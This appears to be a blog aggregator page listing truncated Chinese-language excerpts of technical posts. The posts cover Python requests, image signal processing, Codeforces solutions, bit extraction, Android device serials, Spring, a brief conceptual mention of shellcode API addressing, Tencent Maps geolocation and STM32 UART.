目录 1. 前言 2. requests库的基本概念 3. requests库的适应场景 4. requests库的基本使用 4.1 安装requests 4.2 发送第一个请求 4.3 常见HTTP请求方法 4.4 响应对象的属性 4.5 发送带参数的请求 4.6 处理请求和响应 5. 高级功能 5.1 文件上传 5.2 会话对象 5.3…...

基于大模型预测的足月胎膜早破行阴道分娩全流程研究报告

目录 一、引言 1.1 研究背景与意义 1.2 研究目的与方法 1.3 研究创新点 二、胎膜早破(足月)行阴道分娩概述 2.1 胎膜早破定义与分类 2.2 足月胎膜早破行阴道分娩的现状与挑战 2.3 大模型预测引入的必要性 三、大模型预测原理与技术 3.1 大模型介绍 3.2 数据收集与…...

ISP流程介绍(Raw格式阶段)

一、ISP之DPC DPC(Defective Pixel Correction)也就是坏点矫正&#xff0c;在sensor接收光信号&#xff0c;并做光电转换之后。 这一步设计的意义在于&#xff1a;摄像头sensor的感光元件通常很多会存在一些工艺缺陷缺陷&#xff0c;让图像上某些像素无法正常收集到需要的光信号…...

Codeforces Round 1023 (Div. 2)

Dashboard - Codeforces Round 1023 (Div. 2) - Codeforces 一个构造问题&#xff0c;我把最大的数放在一个数组&#xff0c;其余数放在另一个数组&#xff0c;就能保证gcd不同 来看代码&#xff1a; #include <bits/stdc.h> using namespace std;int main() {int t;ci…...

按位宽提取十六进制值

需求&#xff1a;给出一个十六进制值&#xff0c;要求提取high和low位之间的值。比如16ha0f0&#xff0c;这是一个16bit宽的十六进制数0xa0f0&#xff0c;提取[15:12]范围内的值。 def extract_bits(value, high, low):"""从 value 中提取 [high:low] 位的值:p…...

Android设备序列号获取方式全解析

Android设备序列号获取方式全解析 前言 在Android开发中&#xff0c;获取设备序列号&#xff08;SN&#xff09;是设备管理类应用常见的需求。但不同厂商设备获取方式存在差异&#xff0c;且Android系统版本升级也带来了API变化。本文将系统梳理7种主流序列号获取方式&#x…...

Spring框架(1)

Spring框架是Java企业级开发中最受欢迎的框架之一&#xff0c;它通过简化开发流程、降低耦合度&#xff0c;让开发者能够更专注于业务逻辑的实现。本文将带你了解Spring框架的核心概念和基本用法。 一、Spring框架简介 Spring是一个轻量级的开源Java开发框架&#xff0c;由Ro…...

软件安全(二)优化shellcode

我们在上一节课中所写的shellcode&#xff0c;其中使用到的相关的API是通过写入其内存地址来实现调用。这种方法具有局限性&#xff0c;如切换其他的操作系统API的内存地址就会发生变化&#xff0c;从而无法正常调用。 所谓的shellcode不过是在目标程序中加一个区段使得程序可…...

前端使用腾讯地图api实现定位功能

1.配置key 申请地址&#xff1a; https://lbs.qq.com/dev/console/key/manage 2.在项目中引入jssdk <script type"text/javascript" src"https://apis.map.qq.com/tools/geolocation/min?keykey&referermyapp"></script>使用 const g…...

单片机-STM32部分:10、串口UART

飞书文档https://x509p6c8to.feishu.cn/wiki/W7ZGwKJCeiGjqmkvTpJcjT2HnNf 串口说明 电平标准是数据1和数据0的表达方式&#xff0c;是传输线缆中人为规定的电压与数据的对应关系&#xff0c;串口常用的电平标准有如下三种&#xff1a; TTL电平&#xff1a;3.3V或5V表示1&am…...

STM32外设-串口UART

STM32外设-串口UART 一&#xff0c;串口简介二&#xff0c;串口基础概念1&#xff0c;什么是同步和异步/UART与USART对比2&#xff0c;串行与并行3&#xff0c;波特率 (Baud Rate)4&#xff0c;数据帧 (Data Frame)5&#xff0c;TX 和 RX 三&#xff0c;硬件连接1&#xff0c;u…...

《工业计算机硬件技术支持手册》适用于哪些人群?

《工业计算机硬件技术支持手册》于2024年出版&#xff0c;主要讲当前正在应用的最新计算硬件技术。包括计算机各种功能接口、扩展总线、各种国际通行的板型规格等等。书中引用的数据&#xff0c;全部来自国际行业技术规范&#xff0c;书中还融入了作者几十年的工作经验和操作技…...